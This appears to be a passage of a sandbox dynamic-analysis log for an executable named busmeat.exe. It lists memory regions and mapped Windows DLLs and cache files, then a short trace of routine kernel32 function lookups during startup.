	              id = 7526
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7527
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7528
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7529
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7530
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7531
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7532
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7533
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7534
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7535
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7536
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7537
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7538
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7539
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7540
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7541
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7542
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7543
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7544
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7545
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7546
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7547
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7548
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7549
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7550
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7551
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7552
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7553
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7554
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7555
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7556
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7557
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7558
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7559
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7560
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7561
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7562
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7563
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7564
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7565
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7566
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7567
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7568
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7569
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7570
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7571
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7572
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7573
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7574
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7575
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7576
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7577
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7578
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7579
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7580
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7581
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7582
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7583
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7584
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7585
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7586
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7587
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7588
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7589
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7590
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7591
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7592
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7593
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7594
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 7595
	        start_va = 0x2d0000
	          end_va = 0x2d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 7596
	        start_va = 0x2d0000
	          end_va = 0x2d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 7597
	        start_va = 0x2d0000
	          end_va = 0x2d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 7598
	        start_va = 0x2e0000
	          end_va = 0x2e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 7599
	        start_va = 0x2f0000
	          end_va = 0x2f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002f0000"
	        filename = ""

Region:
	              id = 7600
	        start_va = 0x3560000
	          end_va = 0x3660fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003560000"
	        filename = ""

Region:
	              id = 7601
	        start_va = 0x300000
	          end_va = 0x300fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000300000"
	        filename = ""

Region:
	              id = 7602
	        start_va = 0x310000
	          end_va = 0x310fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 7603
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7604
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7605
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7606
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7607
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7608
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7609
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7610
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7611
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7612
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7613
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7614
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7615
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7616
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7617
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7618
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7619
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7620
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7621
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7622
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7623
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 7624
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7625
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7626
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7627
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7628
	        start_va = 0xd0000
	          end_va = 0xd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7629
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 7630
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 7631
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7632
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7633
	        start_va = 0x140000
	          end_va = 0x140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000140000"
	        filename = ""

Region:
	              id = 7634
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7635
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 7636
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 7637
	        start_va = 0x2d0000
	          end_va = 0x2d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 7638
	        start_va = 0x2e0000
	          end_va = 0x2e2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 7742
	        start_va = 0x2d0000
	          end_va = 0x2d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 7743
	        start_va = 0x2e0000
	          end_va = 0x312fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 7744
	        start_va = 0x320000
	          end_va = 0x322fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000320000"
	        filename = ""

Region:
	              id = 7745
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 7746
	        start_va = 0x73df0000
	          end_va = 0x73f31fff
	     entry_point = 0x73df0000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")

Region:
	              id = 7747
	        start_va = 0xd0000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 7748
	        start_va = 0x2d0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 7749
	        start_va = 0x7ffd8000
	          end_va = 0x7ffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffd8000"
	        filename = ""

Region:
	              id = 7750
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 7751
	        start_va = 0x77760000
	          end_va = 0x777e1fff
	     entry_point = 0x77760000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 7752
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 7753
	        start_va = 0x3d0000
	          end_va = 0x3d3fff
	     entry_point = 0x3d0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 7754
	        start_va = 0x3050000
	          end_va = 0x3092fff
	     entry_point = 0x3050000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000b.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000b.db")

Region:
	              id = 7755
	        start_va = 0x3e0000
	          end_va = 0x3e3fff
	     entry_point = 0x3e0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 7756
	        start_va = 0x30a0000
	          end_va = 0x312afff
	     entry_point = 0x30a0000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")

Region:
	              id = 7757
	        start_va = 0x2740000
	          end_va = 0x2750fff
	     entry_point = 0x2740000
	     region_type = mapped_file
	            name = "propsys.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui")

Region:
	              id = 7758
	        start_va = 0x3f0000
	          end_va = 0x3f3fff
	     entry_point = 0x3f0000
	     region_type = mapped_file
	            name = "cversions.1.db"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")

Region:
	              id = 7759
	        start_va = 0x2fb0000
	          end_va = 0x2fc2fff
	     entry_point = 0x2fb0000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db"
	        filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001a.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db")

Region:
	              id = 7760
	        start_va = 0x3010000
	          end_va = 0x3010fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003010000"
	        filename = ""

Region:
	              id = 7761
	        start_va = 0x75030000
	          end_va = 0x75065fff
	     entry_point = 0x75030000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 7762
	        start_va = 0x3560000
	          end_va = 0x359ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003560000"
	        filename = ""

Region:
	              id = 7763
	        start_va = 0x35a0000
	          end_va = 0x369ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000035a0000"
	        filename = ""

Region:
	              id = 7764
	        start_va = 0x7fea7000
	          end_va = 0x7fea9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fea7000"
	        filename = ""

Region:
	              id = 7785
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 7828
	        start_va = 0x36a0000
	          end_va = 0x46dffff
	     entry_point = 0x36a0000
	     region_type = mapped_file
	            name = "staticcache.dat"
	        filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")

Region:
	              id = 7857
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 7858
	        start_va = 0x46e0000
	          end_va = 0x4bd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000046e0000"
	        filename = ""

Region:
	              id = 7859
	        start_va = 0x4be0000
	          end_va = 0x50d3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004be0000"
	        filename = ""

Region:
	              id = 7878
	        start_va = 0xa0000
	          end_va = 0xa3fff
	     entry_point = 0xa0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")


Thread:
	id = 21
	os_tid = 0xefc

	[0064.102] GetStartupInfoW (in: lpStartupInfo=0x19ff00 | out: lpStartupInfo=0x19ff00*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0064.104] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77670000
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="FlsAlloc") returned 0x7768a330
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="FlsFree") returned 0x7768f400
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="FlsGetValue") returned 0x77687580
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="FlsSetValue") returned 0x77689910
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="InitializeCriticalSectionEx") returned 0x77696030
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="CreateEventExW") returned 0x77695f90
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="CreateSemaphoreExW") returned 0x77695ff0
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="SetThreadStackGuarantee") returned 0x7768a5d0
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="CreateThreadpoolTimer") returned 0x7768a690
	[0064.104] GetProcAddress (hModule=0x77670000, lpProcName="SetThreadpoolTimer") returned 0x77c740f0
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77c6d630
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="CloseThreadpoolTimer") returned 0x77c6ecf0
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="CreateThreadpoolWait") returned 0x77695720
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="SetThreadpoolWait") returned 0x77c6e140
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName=0x40fff4) returned 0x77c6eb60
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="FlushProcessWriteBuffers") returned 0x77ca9990
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77ca5540
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentProcessorNumber") returned 0x77c99dc0
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="GetLogicalProcessorInformation") returned 0x7768a550
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="CreateSymbolicLinkW") returned 0x776b0a40
	[0064.105] GetProcAddress (hModule=0x77670000, lpProcName="SetDefaultDllDirectories") returned 0x76aa0790
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="EnumSystemLocalesEx") returned 0x7768f8a0
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="CompareStringEx") returned 0x7768fa30
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetDateFormatEx") returned 0x776b1030
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetLocaleInfoEx") returned 0x7768a000
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetTimeFormatEx") returned 0x776b14b0
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetUserDefaultLocaleName") returned 0x7768a4f0
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="IsValidLocaleName") returned 0x776b16f0
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="LCMapStringEx") returned 0x77689970
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetCurrentPackageId") returned 0x76a23c90
